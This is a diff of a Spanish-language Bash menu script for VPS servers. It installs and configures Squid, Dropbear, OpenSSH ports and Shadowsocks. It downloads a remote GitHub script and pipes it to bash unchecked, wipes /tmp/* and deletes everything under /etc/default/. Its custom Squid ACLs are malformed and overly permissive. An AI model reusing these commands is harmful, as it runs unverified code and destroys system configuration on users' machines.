+squid_var="/etc/squid/squid.conf"
+elif [ -e /etc/squid3/squid.conf ]; then
+squid_var="/etc/squid3/squid.conf"
+else
+echo -e "${cor[5]} No se ha identificado Squid!"
+return 1
+fi
+teste_cache="#CACHE DO SQUID"
+if [[ `grep -c "^$teste_cache" $squid_var` -gt 0 ]]; then
+ [[ -e ${squid_var}.bakk ]] && {
+ echo -e "${cor[5]} Desactivando SquidCache !!\n ESPERA PORFAVOR !"
+ mv -f ${squid_var}.bakk $squid_var
+ echo -e "${cor[5]} COLOCAR ARCHIVO ONLINE"
+ msg -bar
+ service squid restart > /dev/null 2>&1
+ service squid3 restart > /dev/null 2>&1
+ return 0
+ }
+fi
+echo -e "${cor[5]} ¡Squid esta Activo en tu sistema!\n ${cor[5]} No hay servicio de caché en el Squid!\n Activando el servicio SquidCache!"
+msg -bar
+_tmp="#CACHE DO SQUID\ncache_mem 200 MB\nmaximum_object_size_in_memory 32 KB\nmaximum_object_size 1024 MB\nminimum_object_size 0 KB\ncache_swap_low 90\ncache_swap_high 95"
+[[ "$squid_var" = "/etc/squid/squid.conf" ]] && _tmp+="\ncache_dir ufs /var/spool/squid 100 16 256\naccess_log /var/log/squid/access.log squid" || _tmp+="\ncache_dir ufs /var/spool/squid3 100 16 256\naccess_log /var/log/squid3/access.log squid"
+while read s_squid; do
+[[ "$s_squid" != "cache deny all" ]] && _tmp+="\n${s_squid}"
+done < $squid_var
+cp ${squid_var} ${squid_var}.bakk
+echo -e "${_tmp}" > $squid_var
+echo -e "${cor[5]} Reiniciando Servicios Espera!\n ESPERA PORFAVOR!"
+msg -bar
+service squid restart > /dev/null 2>&1
+service squid3 restart > /dev/null 2>&1
+}
+
+add_host_squid () {
+payload="/etc/payloads"
+if [ ! -f "$payload" ]; then
+echo -e "${cor[5]} $payload No econtrado"
+echo -e "${cor[5]} Squid no instalado"
+return
+fi
+msg -bar
+echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m${cor[3]} Añadir NUEEVO Host a Squid"
+echo -e "\033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m${cor[3]} Quitar 1 host de Squid"
+msg -bar
+read -p " | 1 - 2 |: " var_payload
+number_var $var_payload
+[[ -z $var_number ]] && echo -e "\033[1;31m Opcion Invalida" && return
+[[ $var_payload -gt 2 ]] && echo -e "\033[1;31m Opcion Invalida" && return
+[[ "$var_payload" = "1" ]] && {
+echo -e "${cor[4]} Añadir Host a Squid"
+echo -e "${cor[5]} Dominios actuales en el archivo $payload:"
+msg -bar
+cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
+msg -bar
+echo "Escriba el Host-Squid que desea agregar "
+read -p "Iniciando con un ., ejemplo: .whatsapp.net: " hos
+if [[ $hos != \.* ]]; then
+echo -e "${cor[5]} Iniciando con un ., ejemplo: .whatsapp.net: "
+return
+fi
+host="$hos/"
+if [[ -z $host ]]; then
+echo -e "${cor[5]} ¡Esta vacío, no ha escrito nada!"
+return
+fi
+if [[ `grep -c "^$host" $payload` -eq 1 ]]; then
+echo -e "${cor[5]} El dominio ya existe en el archivo"
+return
+fi
+echo "$host" >> $payload && grep -v "^$" $payload > /tmp/a && mv /tmp/a $payload
+echo -e "${cor[5]} ¡Éxito, Archivo Actualizado!"
+msg -bar
+cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
+msg -bar
+ if [ ! -f "/etc/init.d/squid" ]; then
+service squid3 reload
+service squid3 restart
+ else
+/etc/init.d/squid reload
+service squid restart
+ fi
+return
+}
+
+[[ $var_payload = 2 ]] && {
+echo -e "${cor[4]} Quitar el host de Squid"
+echo -e "${cor[5]} Dominios actuales en el archivo $payload:"
+msg -bar
+cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
+msg -bar
+read -p " $(echo -e "Escriba el dominio que desea quitar\n") Iniciando con un ( . ), ejemplo: .chumogh.net: " hos
+if [[ $hos != \.* ]]; then
+echo -e "${cor[5]} Iniciando con un ( . ), ejemplo: .chumogh.net"
+return
+fi
+host="$hos/"
+if [[ -z $host ]]; then
+echo -e "${cor[5]} ¡Esta vacío, no ha escrito nada!"
+return
+fi
+if [[ `grep -c "^$host" $payload` -ne 1 ]]; then
+echo -e "${cor[5]} DOMINIO NO ENCONTRADO"
+return
+fi
+grep -v "^$host" $payload > /tmp/a && mv /tmp/a $payload
+echo -e "${cor[5]} ARCHIVO ACTUALIZADO EXITOSAMENTE!"
+msg -bar
+cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
+msg -bar
+ if [ ! -f "/etc/init.d/squid" ]; then
+service squid3 reload
+service squid3 restart
+ else
+/etc/init.d/squid reload
+service squid restart
+ fi
+return
+}
+}
+
+
+add_port(){
+ if [[ -e /etc/squid/squid.conf ]]; then
+ local CONF="/etc/squid/squid.conf"
+ elif [[ -e /etc/squid3/squid.conf ]]; then
+ local CONF="/etc/squid3/squid.conf"
+ fi
+ local miport=$(cat ${CONF}|grep -w 'http_port'|awk -F ' ' '{print $2}'|tr '\n' ' ')
+ local line="$(cat ${CONF}|sed -n '/http_port/='|head -1)"
+ local NEWCONF="$(cat ${CONF}|sed "$line c ADMR_port"|sed '/http_port/d')"
+ msg -ama "$(echo -e "AGREGAR UN PUERTOS SQUID")"
+ echo -e " $(msg -verm2 "Ingrese Sus Puertos:") $(msg -verd "80 8080 8799 3128")"
+ msg -bar
+ msg -ne " $(echo -e " Digite Puertos"): " && read DPORT
+ tput cuu1 && tput dl1
+ TTOTAL=($DPORT)
+ for((i=0; i<${#TTOTAL[@]}; i++)); do
+ [[ $(mportas|grep -v squid|grep -v '>'|grep -w "${TTOTAL[$i]}") = "" ]] && {
+ echo -e "\033[1;33m Puerto Elegido:\033[1;32m ${TTOTAL[$i]} OK"
+ PORT="$PORT ${TTOTAL[$i]}"
+ } || {
+ echo -e "\033[1;33m Puerto Elegido:\033[1;31m ${TTOTAL[$i]} FAIL"
+ }
+ done
+ [[ -z $PORT ]] && {
+ msg -bar
+ msg -verm2 "Ningun Puerto Valido"
+ return 1
+ }
+ PORT="$miport $PORT"
+ rm ${CONF}
+ while read varline; do
+ if [[ ! -z "$(echo "$varline"|grep 'ADMR_port')" ]]; then
+ for i in `echo $PORT`; do
+ echo -e "http_port ${i}" >> ${CONF}
+ ufw allow $i/tcp &>/dev/null 2>&1
+ done
+ continue
+ fi
+ echo -e "${varline}" >> ${CONF}
+ done <<< "${NEWCONF}"
+ msg -bar
+ msg -azu "$(echo -e "AGUARDE REINICIANDO SERVICIOS")"
+ [[ -d "/etc/squid/" ]] && {
+ service ssh restart > /dev/null 2>&1
+ /etc/init.d/squid start > /dev/null 2>&1
+ service squid restart > /dev/null 2>&1
+ }
+ [[ -d "/etc/squid3/" ]] && {
+ service ssh restart > /dev/null 2>&1
+ /etc/init.d/squid3 start > /dev/null 2>&1
+ service squid3 restart > /dev/null 2>&1
+ }
+ sleep 2s
+ tput cuu1 && tput dl1
+ msg -verd "$(echo -e "PUERTOS AGREGADOS")"
+ return 1
+}
+
+del_port(){
+ squidport=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN"|grep -E 'squid|squid3')
+
+ if [[ $(echo "$squidport"|wc -l) -lt '2' ]];then
+ clear
+ msg -bar
+ msg -ama "Un solo puerto para eliminar\ndesea detener el servicio? "
+ msg -bar
+ msg -ne " opcion [S/N]: " && read a
+
+ if [[ "$a" = @(S|s) ]]; then
+ msg -ama "AGUARDE DETENIEDO SERVICIOS"
+ [[ -d "/etc/squid/" ]] && {
+ if service squid stop &> /dev/null ; then
+ msg -verd "Servicio squid detenido"
+ else
+ msg -verm2 "Falla al detener Servicio squid"
+ fi
+ }
+ [[ -d "/etc/squid3/" ]] && {
+ if service squid3 stop &> /dev/null ; then
+ msg -verd "Servicio squid3 detenido"
+ else
+ msg -verm2 "Falla al detener Servicio squid3"
+ fi
+ }
+ fi
+ return 1
+ fi
+
+ if [[ -e /etc/squid/squid.conf ]]; then
+ local CONF="/etc/squid/squid.conf"
+ elif [[ -e /etc/squid3/squid.conf ]]; then
+ local CONF="/etc/squid3/squid.conf"
+ fi
+ msg -ama "Quitar un puertos squid"
+ n=1
+ while read i; do
+ port=$(echo $i|awk -F ' ' '{print $9}'|cut -d ':' -f2)
+ echo -e " $(msg -verd "[$n]") $(msg -verm2 ">") $(msg -azu "$port")"
+ drop[$n]=$port
+ num_opc="$n"
+ let n++
+ done <<< $(echo "$squidport")
+ back
+ while [[ -z $opc ]]; do
+ msg -ne " opcion: "
+ read opc
+ tput cuu1 && tput dl1
+ if [[ -z $opc ]]; then
+ msg -verm2 " selecciona una opcion entre 1 y $num_opc"
+ unset opc
+ sleep 2
+ tput cuu1 && tput dl1
+ continue
+ elif [[ ! $opc =~ $numero ]]; then
+ msg -verm2 " selecciona solo numeros entre 1 y $num_opc"
+ unset opc
+ sleep 2
+ tput cuu1 && tput dl1
+ continue
+ elif [[ "$opc" -gt "$num_opc" ]]; then
+ msg -verm2 " selecciona una opcion entre 1 y $num_opc"
+ sleep 2
+ tput cuu1 && tput dl1
+ unset opc
+ continue
+ fi
+ done
+ sed -i "/http_port ${drop[$opc]}/d" $CONF
+ msg -azu "$(echo -e "AGUARDE REINICIANDO SERVICIOS")"
+ [[ -d "/etc/squid/" ]] && {
+ service ssh restart > /dev/null 2>&1
+ /etc/init.d/squid start > /dev/null 2>&1
+ service squid restart > /dev/null 2>&1
+ }
+ [[ -d "/etc/squid3/" ]] && {
+ service ssh restart > /dev/null 2>&1
+ /etc/init.d/squid3 start > /dev/null 2>&1
+ service squid3 restart > /dev/null 2>&1
+ }
+ sleep 2s
+ tput cuu1 && tput dl1
+ msg -verd "$(echo -e "PUERTO REMOVIDO")"
+ return 1
+}
+
+restart_squid(){
+ msg -ama "AGUARDE REINICIANDO SERVICIOS"
+ [[ -d "/etc/squid/" ]] && {
+ service ssh restart > /dev/null 2>&1
+ /etc/init.d/squid start > /dev/null 2>&1
+ service squid restart > /dev/null 2>&1
+ }
+ [[ -d "/etc/squid3/" ]] && {
+ service ssh restart > /dev/null 2>&1
+ /etc/init.d/squid3 start > /dev/null 2>&1
+ service squid3 restart > /dev/null 2>&1
+ }
+ sleep 2s
+ tput cuu1 && tput dl1
+ msg -verd "$(echo -e "SERVICIO REINICIANDO")"
+ return 1
+}
+
+
+#INSTALADOR SQUID
+fun_squid () {
+
+fsqd() {
+ sync
+ echo 3 >/proc/sys/vm/drop_caches
+ sync && sysctl -w vm.drop_caches=3
+ sysctl -w vm.drop_caches=0
+ swapoff -a
+ swapon -a
+apt install squid -y &> /dev/null
+ rm -rf /tmp/* > /dev/null 2>&1
+ killall kswapd0 > /dev/null 2>&1
+ killall tcpdump > /dev/null 2>&1
+ killall ksoftirqd > /dev/null 2>&1
+ echo > /etc/fixsquid
+}
+
+function call.squid() {
+ sleep .1
+ helice() {
+ fsqd >/dev/null 2>&1 &
+ tput civis
+ while [ -d /proc/$! ]; do
+ for i in / - \\ \|; do
+ sleep .1
+ echo -ne "\e[1D$i"
+ done
+ done
+ tput cnorm
+ }
+ echo -ne "\033[1;37m OPTIMIZANDO Y \033[1;32mFIXEANDO \033[1;37mSQUID V3 \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m"
+ helice
+ echo -e "\e[1DOk"
+}
+
+
+[[ -e /etc/squid/squid.conf ]] && var_squid="/etc/squid/squid.conf"
+[[ -e /etc/squid3/squid.conf ]] && var_squid="/etc/squid3/squid.conf"
+
+
+ [[ -e $var_squid ]] && {
+echo -e " MENU DE FUNCION SQUID "
+msg -bar
+echo -e " \033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech} ${cor[3]} SQUID CACHE $_cachesquid"
+echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech} ${cor[3]} AGREGAR / REMOVER HOST-SQUID"
+echo -e " \033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m ${flech} ${cor[3]} AÑADIR UN PUERTO SQUID"
+echo -e " \033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m ${flech} ${cor[3]} QUITAR UN PUERTO SQUID"
+echo -e " \033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m ${flech} ${cor[3]} DESINSTALAR SQUID"
+msg -bar
+echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")"
+msg -bar
+selection=$(selection_fun 5)
+case ${selection} in
+0)
+return 0
+;;
+1)
+squid_cache
+return 0
+;;
+2)
+add_host_squid
+return 0
+;;
+3)
+add_port
+return 0
+;;
+4)
+del_port
+return 0
+;;
+5)
+msg -bar
+ echo -e "\033[1;32m REMOVIENDO SQUID"
+ if [[ -e /etc/squid/squid.conf ]]; then
+ var_squid="/etc/squid/squid.conf"
+ mipatch="/etc/squid"
+ elif [[ -e /etc/squid3/squid.conf ]]; then
+ var_squid="/etc/squid3/squid.conf"
+ mipatch="/etc/squid3"
+ fi
+ [[ -e $var_squid ]] && {
+ clear
+ msg -bar
+ msg -ama "$(echo -e "REMOVIENDO SQUID")"
+ msg -ama "Aguarde un momento!!!"
+ msg -bar
+ [[ -d "/etc/squid" ]] && {
+ service squid stop > /dev/null 2>&1
+ apt-get remove squid -y >/dev/null 2>&1
+ apt-get purge squid -y >/dev/null 2>&1
+ rm -rf /etc/squid >/dev/null 2>&1
+ }
+ [[ -d "/etc/squid3" ]] && {
+ service squid3 stop > /dev/null 2>&1
+ apt-get remove squid3 -y >/dev/null 2>&1
+ apt-get purge squid3 -y >/dev/null 2>&1
+ rm -rf /etc/squid3 >/dev/null 2>&1
+ }
+ }
+ service squid stop > /dev/null 2>&1
+ service squid3 stop > /dev/null 2>&1
+ echo -e "\033[1;32m Procedimento Concluido"
+ msg -bar
+ [[ -e $var_squid ]] && rm $var_squid
+ return 0
+;;
+esac
+ }
+ #Reiniciando
+ service squid3 restart > /dev/null 2>&1
+ service squid restart > /dev/null 2>&1
+#Instalar
+clear&&clear
+msg -bar
+echo -e "\033[1;32m INSTALADOR SQUID ChumoGH-Script"
+msg -bar
+fun_ip
+echo -ne " CONFIRME SU IP"; read -p ": " -e -i $IP ip
+msg -bar
+echo -e " DIJITA TUS PUERTOS EN LA SIGUIENTE SECUENCIA"
+echo -e " SECUENCIA DE Ejemplo: 80 8080 3128"
+echo -ne " INGRESA TUS PUERTOS: "; read portasx
+msg -bar
+totalporta=($portasx)
+unset PORT
+ for((i=0; i<${#totalporta[@]}; i++)); do
+ [[ $(mportas|grep "${totalporta[$i]}") = "" ]] && {
+ echo -e "\033[1;33m Puertos Escojidos :\033[1;32m ${totalporta[$i]} OK"
+ PORT+="${totalporta[$i]}\n"
+ [[ -f "/usr/sbin/ufw" ]] && ufw allow ${totalporta[$i]}/tcp 1> /dev/null 2> /dev/null
+ } || {
+ echo -e "\033[1;33m Puertos Escojidos :\033[1;31m ${totalporta[$i]} FAIL"
+ }
+ done
+ [[ "$(echo -e $PORT)" = "" ]] && {
+ echo -e "\033[1;31m No se ha elegido ningún puerto válido\033[0m"
+ return 1
+ }
+
+system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //')
+vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2)
+msg -bar
+echo -e " INSTALANDO SQUID"
+msg -bar
+[[ "${vercion}" > "21" ]] && {
+[[ -e /etc/fixsquid ]] || call.squid
+} || {
+
+ [[ -e /etc/fixsquid ]] || {
+ fun_bar "apt-get install squid3 -y"
+ touch /etc/fixsquid
+ }
+}
+
+echo -e " INICIANDO CONFIGURACION SQUID"
+msg -bar
+echo -e "" > /etc/payloads
+#A�adir Host Squid
+payload="/etc/payloads"
+echo -e "" > /etc/payloads
+echo -e " Escriba el Host-Squid que desea agregar"
+echo -e " Iniciando con un ., ejemplo: .facebook.net"
+read -p " Agregar Host " hos
+if [[ $hos != \.* ]]; then
+msg -bar
+echo -e "\033[1;31m [!] Host-Squid debe iniciar con un "."\033[0m"
+echo -e "\033[1;31m Asegurese de agregarlo despues corretamente!\033[0m"
+fi
+host="$hos/"
+if [[ -z $host ]]; then
+msg -bar
+echo -e "\033[1;31m [!] Host-Squid no agregado"
+echo -e "\033[1;31m Asegurese de agregarlo despues!\033[0m"
+fi
+echo "$host" >> $payload && grep -v "^$" $payload > /tmp/a && mv /tmp/a $payload
+msg -bar
+echo -e "\033[1;32m Ahora escoja una Conf Para Su Proxy"
+msg -bar
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech}${cor[3]} INSTALACION COMUN"
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech}${cor[3]} INSTALACION AVANZADA -\033[1;31m CUSTIMIZABLE\033[1;37m"
+msg -bar
+read -p " [1/2]: " -e -i 1 proxy_opt
+unset var_squid
+[[ -d /etc/squid ]] && var_squid='/etc/squid/squid.conf'
+[[ -d /etc/squid3 ]] && var_squid='/etc/squid3/squid.conf'
+if [[ "$proxy_opt" = @(02|2) ]]; then
+echo -e "#ConfiguracionSquiD
+acl url1 dstdomain -i $ip
+acl url2 dstdomain -i 127.0.0.1
+acl url3 url_regex -i '/etc/payloads'
+acl url4 dstdomain -i localhost
+acl accept dstdomain -i GET
+acl accept dstdomain -i POST
+acl accept dstdomain -i OPTIONS
+acl accept dstdomain -i CONNECT
+acl accept dstdomain -i PUT
+acl HEAD dstdomain -i HEAD
+acl accept dstdomain -i TRACE
+acl accept dstdomain -i OPTIONS
+acl accept dstdomain -i PATCH
+acl accept dstdomain -i PROPATCH
+acl accept dstdomain -i DELETE
+acl accept dstdomain -i REQUEST
+acl accept dstdomain -i METHOD
+acl accept dstdomain -i NETDATA
+acl accept dstdomain -i MOVE
+acl all src 0.0.0.0/0
+http_access allow url1
+http_access allow url2
+http_access allow url3
+http_access allow url4
+http_access allow accept
+http_access allow HEAD
+http_access deny all
+
+# Request Headers Forcing
+
+request_header_access Allow allow all
+request_header_access Authorization allow all
+request_header_access WWW-Authenticate allow all
+request_header_access Proxy-Authorization allow all
+request_header_access Proxy-Authenticate allow all
+request_header_access Cache-Control allow all
+request_header_access Content-Encoding allow all
+request_header_access Content-Length allow all
+request_header_access Content-Type allow all
+request_header_access Date allow all
+request_header_access Expires allow all
+request_header_access Host allow all
+request_header_access If-Modified-Since allow all
+request_header_access Last-Modified allow all
+request_header_access Location allow all
+request_header_access Pragma allow all
+request_header_access Accept allow all
+request_header_access Accept-Charset allow all
+request_header_access Accept-Encoding allow all
+request_header_access Accept-Language allow all
+request_header_access Content-Language allow all
+request_header_access Mime-Version allow all
+request_header_access Retry-After allow all
+request_header_access Title allow all
+request_header_access Connection allow all
+request_header_access Proxy-Connection allow all
+request_header_access User-Agent allow all
+request_header_access Cookie allow all
+request_header_access All deny all
+
+# Response Headers Spoofing
+
+reply_header_access Via deny all
+reply_header_access X-Cache deny all
+reply_header_access X-Cache-Lookup deny all
+
+
+#portas" > "${var_squid}"
+for pts in $(echo -e $PORT); do
+echo -e "http_port $pts" >> "${var_squid}"
+done
+echo -e "
+#nome
+visible_hostname ChumoGHADM
+
+via off
+forwarded_for off
+pipeline_prefetch off" >> "${var_squid}"
+else
+cat <<-EOF > "${var_squid}"
+#Configuracion SquiD
+acl localhost src 127.0.0.1/32 ::1
+acl to_localhost dst 127.0.0.0/8 0.0.0.0/32 ::1
+acl SSL_ports port 443
+acl Safe_ports port 80
+acl Safe_ports port 21
+acl Safe_ports port 443
+acl Safe_ports port 70
+acl Safe_ports port 210
+acl Safe_ports port 1025-65535
+acl Safe_ports port 280
+acl Safe_ports port 488
+acl Safe_ports port 591
+acl Safe_ports port 777
+acl CONNECT method CONNECT
+acl SSH dst $ip-$ip/255.255.255.255
+acl exprecion-denie url_regex '/etc/exprecion-denie'
+acl dominio-denie dstdomain '/etc/dominio-denie'
+http_access deny exprecion-denie
+http_access deny dominio-denie
+http_access allow SSH
+http_access allow manager localhost
+http_access deny manager
+http_access allow localhost
+
+#puertos
+EOF
+
+ for pts in $(echo -e $PORT); do
+echo -e "http_port $pts" >> "${var_squid}"
+done
+echo -e "
+#nome
+visible_hostname ChumoGHADM
+
+via off
+forwarded_for off
+pipeline_prefetch off" >> "${var_squid}"
+fi
+fun_eth
+msg -bar
+
+echo -ne " \033[1;31m [ ! ] \033[1;33m REINICIANDO SERVICIOS"
+squid3 -k reconfigure > /dev/null 2>&1
+squid -k reconfigure > /dev/null 2>&1
+service ssh restart > /dev/null 2>&1
+service squid3 restart > /dev/null 2>&1
+service squid restart > /dev/null 2>&1
+echo -e " \033[1;32m[OK]"
+msg -bar
+echo -e " ${cor[3]}SQUID CONFIGURADO EXITOSAMENTE"
+msg -bar
+#UFW
+for ufww in $(mportas|awk '{print $2}'); do
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $ufww 1> /dev/null 2> /dev/null
+done
+}
+#INSTALAR DROPBEAR
+
+addnewd (){
+unset yesno
+unset dnew
+echo -e "\033[1;32mDeseas Adicionar alguno mas?? "
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+foc=$(($foc + 1))
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+echo -e "\033[1;34mIngresa Nuevo Puerto a Escuchar:"
+read -p ": " dnew
+ if lsof -Pi :$dnew -sTCP:LISTEN -t >/dev/null ; then
+ echo -e "\033[1;37mPuerto Seleccionado Ocupado | Reintenta"
+ else
+ dvj=$(cat < /etc/default/dadd)
+ sed -i "s/$dvj/$dnew -p $dvj/g" /etc/default/dropbear
+ echo "Reiniciando Dropbear para ejecutar cambios"
+ echo "Numero de Intento : $foc"
+ service dropbear restart
+ [[ -f "/usr/sbin/ufw" ]] && ufw allow $dnew/tcp 1> /dev/null 2> /dev/null
+ dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`;
+ echo "Puertos que Corren en DROPBEAR " $dropbearports
+ fi
+#echo -e "\033[1;32mDeseas Adicionar alguno mas?? "
+echo "EXITO AL AÑADIR PUERTO"
+sleep 0.5s
+addnewd
+else
+unset foc
+cd /ADMcgh && ./menu_inst
+fi
+}
+
+fun_openssh() {
+ clear
+ source /ADMcgh/header
+ msg -bar
+ echo -e "\033[1;31m[\033[1;36m1\033[1;31m] \033[1;37m \033[1;33mADICIONAR PORTA\033[1;31m
+[\033[1;36m2\033[1;31m] \033[1;37m \033[1;33mREMOVER PUERTO OPENSSH\033[1;31m
+[\033[1;36m3\033[1;31m] \033[1;37m \033[1;33mREGRESAR\033[0m"
+ msg -bar
+ echo -ne "\033[1;32mOPCION \033[1;33m:\033[1;37m "
+ read resp
+ if [[ "$resp" = '1' ]]; then
+ clear
+ echo -e "\E[44;1;37m ADICIONAR PUERTO OPENSSH \E[0m\n"
+ echo -ne " \033[1;32mQUE PUERTO DESEAS AADIR \033[1;33m?\033[1;37m "
+ read pt
+ [[ -z "$pt" ]] && {
+ echo -e "\n\033[1;31mPUERTO INVALIDO!"
+ sleep 1
+ return 0
+ }
+ verif_ptrs $pt
+ echo -e "\n\033[1;32mAADIENDO PUERTO A OPENSSH\033[0m"
+ echo ""
+ fun_addpssh() {
+ echo "Port $pt" >>/etc/ssh/sshd_config
+ service ssh restart
+ }
+ fun_bar 'fun_addpssh'
+ echo -e "\n\033[1;32mPUERTO ADICIONADO CON EXITO\033[0m"
+ sleep 3
+ return 0
+ elif [[ "$resp" = '2' ]]; then
+ clear
+ echo -e "\E[41;1;37m ELIMINAR PUERTO OPENSSH \E[0m"
+ echo -e "\n\033[1;33m[\033[1;31m!\033[1;33m] \033[1;32mPUERTO DETENIDO \033[1;37m22 \033[1;33mCUIDADO !\033[0m"
+ echo -e "\n\033[1;33mPUERTAS SSH EN USO: \033[1;37m$(grep 'Port' /etc/ssh/sshd_config | cut -d' ' -f2 | grep -v 'no' | xargs)\n"
+ echo -ne "\033[1;32mQUE PUERTO DESEAS REMOVER \033[1;33m?\033[1;37m "
+ read pt
+ [[ -z "$pt" ]] && {
+ echo -e "\n\033[1;31mPUERTO INVALIDO!"
+ sleep 2
+ return 0
+ }
+ [[ $(grep -wc "$pt" '/etc/ssh/sshd_config') != '0' ]] && {
+ echo -e "\n\033[1;32mREMOVENDO PUERTO DE SSH\033[0m"
+ echo ""
+ fun_delpssh() {
+ sed -i "/Port $pt/d" /etc/ssh/sshd_config
+ service ssh restart
+ }
+ fun_bar 'fun_delpssh'
+ echo -e "\n\033[1;32mPORTA REMOVIDA COM SUCESSO\033[0m"
+ sleep 2
+ return 0
+ } || {
+ echo -e "\n\033[1;31mPorta invalida!"
+ sleep 2
+ return 0
+ }
+ elif [[ "$resp" = '3' ]]; then
+ echo -e "\n\033[1;31mRetornando.."
+ sleep 2
+ return 0
+ else
+ echo -e "\n\033[1;31mOpcao invalida!"
+ sleep 2
+ return 0
+ fi
+ }
+
+
+
+fun_dropbear () {
+clear&&clear
+dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /etc/scpdk1/dropbearports.txt && cat /etc/scpdk1/dropbearports.txt`;
+# INICIO STUNNEL ACTIVO
+figlet " DROPBEAR " | lolcat
+msg -bar
+if [[ -z $dropbearports ]]; then
+ print_center -r 'DROPBEAR SIN INSTALAR'
+ msg -bar&&menu_func "INSTALAR DROPBEAR \e[38;5;219m[#oficial]"
+ unset lim
+else
+ print_center -azu "DROPBEAR => [$dropbearports]"
+ msg -bar&&menu_func 'REINSTALAR DROPBEAR' '-vm ELIMINAR PUERTO[S]' "\e[1;32m [+] AÑADIR PUERTO[S] [+]"
+ lim='3'
+fi
+msg -bar
+case `selection_fun ${lim:=1}` in
+1)
+clear
+########LLAMAMOS FUNCION DROPBEAR#######
+service dropbear stop 1> /dev/null 2> /dev/null
+service sshd restart > /dev/null 2>&1
+service ssh restart > /dev/null 2>&1
+dropbearuniversal
+printext 'DROPBEAR CONFIGURADO EXITOSAMENTE'&&enter
+;;
+2)
+ [[ -e /etc/default/dropbear ]] && {
+ msg -r '[x] REMOVIENDO DROPBEAR [x]'; msg -bar
+ ( service dropbear stop 1&&service sshd restart&&service ssh restart ) &> /dev/null 2>&1
+ fun_bar "apt-get remove dropbear -y"
+cmd=('killall dropbear' 'apt-get -y purge dropbear' 'apt-get -y remove dropbear' 'apt autoremove -y')
+for i in {0..3};do
+eval ${cmd[$i]} >/dev/null 2>&1
+done
+ msg -bar
+ echo -e "\033[1;32m DROPBEAR DESINSTALADO "
+ msg -bar
+ [[ -d /etc/default/ ]] && rm -f /etc/default/*
+ user -k $dpa/tcp > /dev/null 2>&1
+ return
+ }
+;;
+3)
+[[ -e /etc/default/dropbear ]] && {
+dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`;
+cp /etc/default/dropbear /etc/default/dropbear.or
+read -p $'\e[1;30m[+] \e[1;34mPuerto dropbear: ' portdrop
+dnew="$portdrop"
+fun_bar
+if lsof -Pi :$portdrop -sTCP:LISTEN -t >/dev/null ; then
+tput cuu1&&tput dl1&&echo -ne "\e[1;31m[x] PUERTO YA UTILIZADO [x]"
+printf '\n%10s[Intente con otro]\n'
+return $?
+else
+ #sed -i "2d" /etc/default/dropbear
+dvj=$(cat < /etc/default/dadd)
+sed -i "s/$dvj/$dnew -p $dvj/g" /etc/default/dropbear
+#sed -i '2i DROPBEAR_EXTRA_ARGS="-p '"$portdrop"'"' /etc/default/dropbear
+echo $portdrop > /etc/default/dadd
+echo "Reiniciando Dropbear para ejecutar cambios"
+fun_bar
+service dropbear restart
+dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`;
+echo "Puertos que Corren en DROPBEAR " $dropbearports
+foc=1
+addnewd
+fi
+ return 0
+ }
+echo "Desgraciado, No HAS INSTALADO EL SERVICIO AUN ;C"
+ return 0
+;;
+*)
+ return 0
+;;
+esac
+}
+
+
+fun_shadowsocks () {
+wget -q https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/shadowsocks.sh
+figlet ChumoGH
+bash shadowsocks.sh
+rm shadowsocks.sh
+}
+
+
+instala_clash () {
+# while :
+# do
+# clear
+#[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} "
+tittle
+echo -e "\033[1;37m ?? ?? Reseller :$(cat < /etc/scpdk1/menu_credito | head -1) - ADM 2023 ?? 】\033[0m"
+echo -e "[\033[1;31m-\033[1;33m]\033[1;31m #######################################\033[1;33m"
+echo -e "\033[1;37mSeleccione una opcion : Para Salir Ctrl + C\033[1;33m"
+#echo -e "${cor[3]} Esta herramienta Permite escojer el menu Clash Nuevo y Antiguo"
+#echo -e "${cor[3]} Si manejas los Menu de Trojan Y v2ray, Usa 1"
+#msg -bar
+echo -e " \033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech} CLASH FOR ANDROID ( 2023 ) "
+sleep 2s
